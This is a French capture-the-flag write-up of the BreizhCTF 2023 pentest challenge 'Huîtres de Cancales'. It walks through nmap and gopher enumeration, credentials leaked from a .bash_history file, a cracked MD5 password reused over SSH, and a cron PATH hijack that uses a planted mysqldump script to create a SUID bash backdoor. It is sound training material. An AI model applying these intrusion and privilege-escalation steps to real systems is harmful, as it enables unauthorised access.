Huîtres de Cancales

BreizhCTF 2023 - Pentest.

BreizhCTF 2023 - Huîtres de Cancales

Challenge details

Event Challenge Category Points Solves
BreizhCTF 2023 Huîtres de Cancales Pentest ??? ???

oyster

Le Marché aux Huîtres de Cancale dispose d’un système d’information viellissant. Vous avez donc été commissionné pour auditer leur périmètre externe !

Auteur: Zeecka

TL;DR

Le système audité expose un service gopher avec un directory listing. L’exposition d’un fichier .bash_history permet de récupérer des identifiants MySQL valides. Ces derniers peuvent ensuite être utilisé sur l’application web PhpMyAdmin, afin de récupérer en base un couple login:md5 de l’utilisateur robert. Une fois le hash cassé (Robert35), il est possible de réutiliser ces identifiants au travers du service SSH. L’élévation de privilège quant à elle se fera par l’intermédiaire d’une crontab root (la variable $PATH de la crontab contenant le dossier /home/robert/).

Méthodologie

Un premier scan nmap nous indique la présence de 3 services.

# Nmap 7.80 scan initiated as: nmap -sS -Pn -p- -oA nmap 10.8.0.1
Nmap scan report for 10.8.0.1 (10.8.0.1)
Host is up (0.0000020s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
70/tcp   open  gopher
80/tcp   open  http
# Nmap done -- 1 IP address (1 host up) scanned in 0.35 seconds

La présence du service gopher est inhabituelle mais en accord avec la description du challenge. Il existe plusieurs clients pour accéder à ce service, le plus simple restant l’utilisation d’extension navigateur, ou de curl.

$ curl gopher://10.8.0.1/

i[/]    TITLE   null.host       1
i               null.host       1
1.                                     2023-Mar-12 17:43   --------     /./     604530d613f1    70
1..                                    2023-Mar-12 18:05   --------     /../    604530d613f1    70
1administrator                         2023-Mar-12 17:43   --------     /administrator/ 604530d613f1    70
1night                                 2023-Mar-12 17:43   --------     /night/ 604530d613f1    70
1robert                                2023-Mar-12 17:43   --------     /robert/        604530d613f1    70
1zeecka                                2023-Mar-12 17:43   --------     /zeecka/        604530d613f1    70
i___________________________________________________________________            null.host       1
i                 Gophered by Gophernicus/3.1.1 on Debian/11 x86_64             null.host       1
.

On observe ici un comportement digne d’un directory listing. L’ensemble des dossiers utilisateurs linux est accessible :

$ curl gopher://10.8.0.1/1robert/

i[/robert/]     TITLE   null.host       1
i               null.host       1
1..                                                                     /       604530d613f1    70
1.                                     2023-Mar-12 17:43   --------     /robert/./      604530d613f1    70
1..                                    2023-Mar-12 17:43   --------     /robert/../     604530d613f1    70
0.bash_history                         2023-Mar-11 10:35     0.5 KB     /robert/.bash_history   604530d613f1    70
0.bash_logout                          2023-Mar-11 10:35     0.2 KB     /robert/.bash_logout    604530d613f1    70
0.bashrc                               2023-Mar-11 10:35     3.5 KB     /robert/.bashrc 604530d613f1    70
0.profile                              2023-Mar-11 10:35     0.8 KB     /robert/.profile        604530d613f1    70
0databases.txt                         2023-Mar-11 10:35     0.2 KB     /robert/databases.txt   604530d613f1    70
i___________________________________________________________________            null.host       1
i                 Gophered by Gophernicus/3.1.1 on Debian/11 x86_64             null.host       1
.

On observe la présence d’un fichier .bash_history dans le dossier de l’utilisateur robert:

$ curl gopher://10.8.0.1/1robert/.bash_history

git status
git add *
git restore --staged main/
git status
git commit -m "typo"
git push
cd web
git add *
git status
git commit -m "favicon"
git push
echo "VGhlIEdhbWUK" | base64 -d
dolphin . &
python3
apt install -y mariadb-server
sudo apt install -y mariadb-server
su
mariadb -u robert
mariadb -u robert -p web
mariadb -u robert -p assword web
whoami
mariadb -u robert -password web
whoami
id
mariadb -u robert -password web < web.sql
mariadb -u robert -password -e "SHOW DATABASES;" > databases.txt
cat databases.txt
rm web.sql
sudo apt update
sudo apt upgrade

L’analyse du contenu nous permet d’identifier des tentatives de connexion mariadb. On peut par ailleur confirmer l’execution de la commande mariadb -u robert -password -e "SHOW DATABASES;" > databases.txt par la présence du fichier databases.txt dans son dossier utilisateur.

L’utilisation de l’option -password est ici trompeuse puisque sur mariadb (et mysql) le mot de passe dois être renseigné directement après le paramètre -p et sans espace préalable, par exemple ici avec les identifiants username:foobar :

mysql -u username -pfoobar database_name

On peut donc déduire que le couple de mot de passe ici utilisé est robert:assword (sans le p, puisqu’il correspond à l’option -p).

Passons maintenant à l’analyse du service web.

web Page d’accueil de l’application web.

La découverte des ressources web permet d’identifier une application PhpMyAdmin sur l’endpoint /phpmyadmin/:

$ dirsearch -u http://10.8.0.1/ -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11622

Target: http://10.8.0.1/

[19:26:17] Starting: 
[19:27:57] 301 -  311B  - /phpmyadmin  ->  http://10.8.0.1/phpmyadmin/
[19:27:59] 200 -   15KB - /phpmyadmin/doc/html/index.html
[19:27:59] 200 -   18KB - /phpmyadmin/
[19:27:59] 200 -   18KB - /phpmyadmin/index.php
[19:27:59] 200 -   69KB - /phpmyadmin/ChangeLog
[19:27:59] 200 -    1KB - /phpmyadmin/README

Task Completed

pma Application PhpMyAdmin.

La réutilisation du couple d’identifiants robert:assword permet ensuite de se connecter à l’application, on récupère alors un compte associé à un hash:

pma_logged Accès authentifié à PhpMyAdmin.

L’identification et le cassage du hash nous permet de retrouver le mot de passe Robert35.

crackstation Cassage du condensat md5.

Nous pouvons maintenant réutiliser ces identifiants pour se connecter en ssh.

$ ssh robert@10.8.0.1
$ cat /flag_user.txt

BZHCTF{LeMouchoir

L’absence d’un flag complet et la présence d’un utlisateur administrator suggère la possibilité d’une élévation de privilège. L’inspection des taches planifiées nous permet d’identifier une tache effectuée sous le role de l’admnistrateur :

$ cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/robert:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
#17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
#25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
#47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
#52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/1 *    * * *   administrator    mysqldump -u robert -password marche > /tmp/backup.sql

Ici l’administrateur utilise l’outil mysqldump pour effectuer une copie de la base de donnée toute les minutes. Le chemin absolu n’est pas spécifié et la variable $PATH commence par le dossier utilisateur /home/robert. L’écriture d’un binaire mysqldump dans ce dossier sera donc priorisé au binaire original et executé sous les droits administrator toutes les minutes.

Nous allons ici écrire un binaire mysqldump malveillant permettant de créer une backdoore administrator grace à la crontab. Nous utiliserons une copie SUID du binaire /bin/bash (il est également possible d’ajouter une clé SSH à l’utilisateur administrator, ou bien meme de copier le fichier de flag).

Le contenu du binaire mysqldump est le suivant:

#!/bin/bash
cp /bin/bash /tmp/admin_bash
chmod +s /tmp/admin_bash

Ce dernier doit être placé dans le dossier home de l’utilisateur robert, en accord avec la variable PATH précédemment identifié.

$ scp mysqldump robert@127.0.0.1:~/

$ chmod +x mysqldump

Une fois la cron executé (toute les minutes), on observe la création d’un binaire SUID admin_bash dans le dossier /tmp :

$ ls -la /tmp

total 1220
drwxrwxrwt 1 root          root             4096 Mar 12 19:13 .
drwxr-xr-x 1 root          root             4096 Mar 12 19:00 ..
-rwsr-sr-x 1 administrator administrator 1234376 Mar 12 19:13 admin_bash
-rw-r--r-- 1 administrator administrator       0 Mar 12 19:13 backup.sql
-rw------- 1 root          root                0 Mar 10 18:25 tmp.qgg46h67F1

L’utilisateur peut maintenant lancer un shell sous les droits administrator avec la commande suivante:

$ /tmp/admin_bash -p

admin_bash-5.1$ id

uid=1002(robert) gid=1002(robert) euid=1001(administrator) egid=1001(administrator) groups=1001(administrator),1002(robert)

admin_bash-5.1$ cat /flag_root.txt 

CestUnParcAHuîtres}

Flag

BZHCTF{LeMouchoirCestUnParcAHuîtres}

Auteur: Zeecka